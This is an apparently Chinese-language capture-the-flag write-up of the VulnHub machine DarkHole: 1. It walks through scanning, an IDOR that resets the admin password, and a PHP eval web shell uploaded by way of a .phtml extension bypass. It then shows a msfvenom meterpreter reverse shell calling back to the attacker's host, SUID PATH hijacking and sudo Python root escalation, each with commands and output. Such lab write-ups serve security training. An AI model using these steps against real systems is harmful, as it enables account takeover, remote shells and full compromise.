[vulnhub] DarkHole: 1

https://www.vulnhub.com/entry/darkhole-1,724/

端口扫描主机发现

探测存活主机，184是靶机

php 复制代码

nmap -sP 192.168.75.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
Nmap scan report for 192.168.75.1
Host is up (0.00027s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00016s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.184
Host is up (0.00032s latency).
MAC Address: 00:0C:29:61:C5:52 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00018s latency).
MAC Address: 00:50:56:FE:CA:7A (VMware)
Nmap scan report for 192.168.75.151

探测主机所有开放端口

php 复制代码

nmap -sT -min-rate 10000 -p- 192.168.75.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
Nmap scan report for 192.168.75.184
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:61:C5:52 (VMware)

探测服务版本以及系统版本

php 复制代码

nmap -sV -sT -O -p 80,22 192.168.75.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
Nmap scan report for 192.168.75.184
Host is up (0.0022s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
MAC Address: 00:0C:29:61:C5:52 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

扫描漏洞

python 复制代码

nmap -script=vuln -p 80,22 192.168.75.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 10:00 CST
Nmap scan report for 192.168.75.184
Host is up (0.00057s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.184
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|       httponly flag not set
|   /login.php: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /login.php: Possible admin folder
|   /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
MAC Address: 00:0C:29:61:C5:52 (VMware)

web渗透

访问主页，存在登录页面链接

先扫描目录看看

python 复制代码

dirsearch -u http://192.168.75.184 -x 403,404 
//
[10:07:48] Starting:                                                                                                                                         
[10:07:48] 301 -  313B  - /js  ->  http://192.168.75.184/js/                
[10:08:10] 301 -  317B  - /config  ->  http://192.168.75.184/config/        
[10:08:10] 200 -  460B  - /config/                                          
[10:08:11] 301 -  314B  - /css  ->  http://192.168.75.184/css/              
[10:08:12] 200 -   21B  - /dashboard.php                                    
[10:08:21] 200 -  487B  - /js/                                              
[10:08:23] 200 -    1KB - /login.php                                        
[10:08:24] 302 -    0B  - /logout.php  ->  login.php                        
[10:08:35] 200 -    1KB - /register.php                                     
[10:08:45] 301 -  317B  - /upload  ->  http://192.168.75.184/upload/        
[10:08:45] 200 -  456B  - /upload/

/dashboard.php 无权限
/upload 上传文件夹
/config 存在database.php

登陆页面存在注册，我们注册用户test登录

进去后发现可以update信息以及更改密码，感觉会存在注入

测试是否存在注入

Details Update 部分

使用sqlmap测试没找到注入点

Password Change 部分

这部分没注入....但是修改密码区域可以抓包将传入的id值修改，我们可以将其修改为id=1的用户（可能是管理用户）

python 复制代码

POST /dashboard.php?id=2 HTTP/1.1
Host: 192.168.75.184
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://192.168.75.184
Sec-GPC: 1
Connection: keep-alive
Referer: http://192.168.75.184/dashboard.php?id=2
Cookie: PHPSESSID=aal4svnq3poomufcq5sv2lo2fu
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=123456&id=1

成功将包发送，提示Password has been change

登陆后台，用户名使用admin ，密码是用修改后的123456 ，成功进入

多了个上传文件框
尝试文件上传上传🐎
- 直接上传2.php ，内容是一句马，提示：Sorry , Allow Ex : jpg,png,gif 看着像是白名单
- 尝试了一下，不只是可以上传jpg,png,gif ,其他文件也可以，所以更像是把php类的文件后缀放进黑名单了
- 这里涉及到一些文件上传CTF的套路，我们将php改为其他可以解释为php文件的后缀，我将其修改为phtml ，上传成功（我是抓包后修改的，也可以直接修改文件后缀然后直接上传）
  python 复制代码
```
Content-Disposition: form-data; name="fileToUpload"; filename="2.phtml"
Content-Type: application/octet-stream

<?php @eval($_POST[x]); ?>
```
- 上传的文件保存在了/upload路径，测试能否使用
  
  可以正常包含
使用蚁🗡连接

提权

我们先反弹shell ，靶机自带的nc不支持-e ,所以我们需要上传反弹shell脚本然后包含

生成脚本

python 复制代码

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.151 lport=1234 -f raw > getshell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1115 bytes

在蚁🗡将脚本上传upload文件夹里

kali打开msf监听

python 复制代码

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.75.151
lhost => 192.168.75.151
msf6 exploit(multi/handler) > set lport 1234
lport => 1234
msf6 exploit(multi/handler) > run

网页访问上传的脚本文件

获得shell

python 复制代码

[*] Started reverse TCP handler on 192.168.75.151:1234 
[*] Sending stage (39927 bytes) to 192.168.75.184
[*] Meterpreter session 1 opened (192.168.75.151:1234 -> 192.168.75.184:55480) at 2024-11-08 11:49:08 +0800

meterpreter >

输入shell获得shell命令行

查看权限

python 复制代码

$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux darkhole 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

寻找利用点

SUID权限

python 复制代码

$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/at
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/mount
/home/john/toto

/home/john/toto 这个一看就不对劲

数据库配置文件
python 复制代码
```
$ cat database.php
<?php
$connect = new mysqli("localhost",'john','john','darkhole');
```
可以尝试密码碰撞ssh，但是密码错误

来到/home/john/ ，下有四个文件
python 复制代码
```
$ ls
file.py
password
toto
user.txt
```
但是除了toto有读和执行权限，别的都没有权限，前面suid也搜索出了toto ，尝试利用
利用toto
- 因为不知道有什么作用，我们直接执行
  python 复制代码
```
$ ./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)
```
- 我们通过蚁🗡下载该文件下来，使用IDA反编译看看写了啥
  python 复制代码
```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  setuid(0x3E9u);
  setgid(0x3E9u);
  return system("id");
}
```
  设置UID然后设置GID最后输出ID命令
- 劫持环境变量
  
  因为他会执行id ，所以我们修改环境变量让他执行id的时候执行/bin/bash
  python 复制代码
```
$ echo "/bin/bash" > /tmp/id
$ chmod 777 /tmp/id
$ export PATH=/tmp:$PATH 
```
  $ export PATH=/tmp:PATH 设置/tmp为环境变量的开头，那样就可以一开始就去/tmp寻找 id 也就是/bin/bash
  
  执行toto ，获得john的shell
  python 复制代码
```
$ ./toto
john@darkhole:/home/john$
```
获得john的用户后查看之前没权限看的文件
- password 是john的密码，我们用它去ssh登录john获得更好的用户交互shell
  python 复制代码
```
john@darkhole:~$ cat password 
root123
```
- file.py是空的
  python 复制代码
```
ohn@darkhole:~$ cat file.py 
```
- user.txt 一个flag
  python 复制代码
```
john@darkhole:~$ cat user.txt 
DarkHole{You_Can_DO_It}
```

寻找利用点

查看sudo权限

python 复制代码

john@darkhole:~$ sudo -l
[sudo] password for john: 
Matching Defaults entries for john on darkhole:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on darkhole:
    (root) /usr/bin/python3 /home/john/file.py

可以使用root权限执行file.py文件，哦豁，可以提权了

编辑file.py文件，将提权语句写入file.py
python 复制代码
```
ehco "import os;os.system('/bin/bash');" >> file.py
```

使用sudo权限执行

python 复制代码

john@darkhole:~$ sudo /usr/bin/python3 /home/john/file.py 
root@darkhole:

获得root！！！

读取flag文件

python 复制代码

root@darkhole:~# cat root.txt 
DarkHole{You_Are_Legend}